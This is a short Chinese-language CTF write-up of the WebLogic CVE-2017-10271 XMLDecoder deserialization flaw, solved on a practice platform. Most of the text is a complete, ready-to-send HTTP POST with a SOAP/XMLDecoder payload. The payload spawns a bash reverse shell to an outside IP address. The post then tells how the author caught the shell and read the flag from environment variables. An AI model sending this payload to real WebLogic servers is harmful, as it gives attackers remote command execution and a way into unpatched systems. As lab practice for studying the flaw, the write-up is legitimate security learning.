Weblogic-CVE-2017-10271

本地虚拟机Centos网络出了点问题,先暂时用BUU做题。

这个漏洞看简介是XML-Decoder的反序列化漏洞,但我实在是没看见反序列化在哪里,可能需要对代码进行研究才能真正理解这个洞的成因。

利用点:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: node3.buuoj.cn:28508
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 641


<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/174.2.45.114/2333 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

1

最后成功反弹shell如图所示:

shell

最后export|grep flag到环境变量中拿到flag:

flag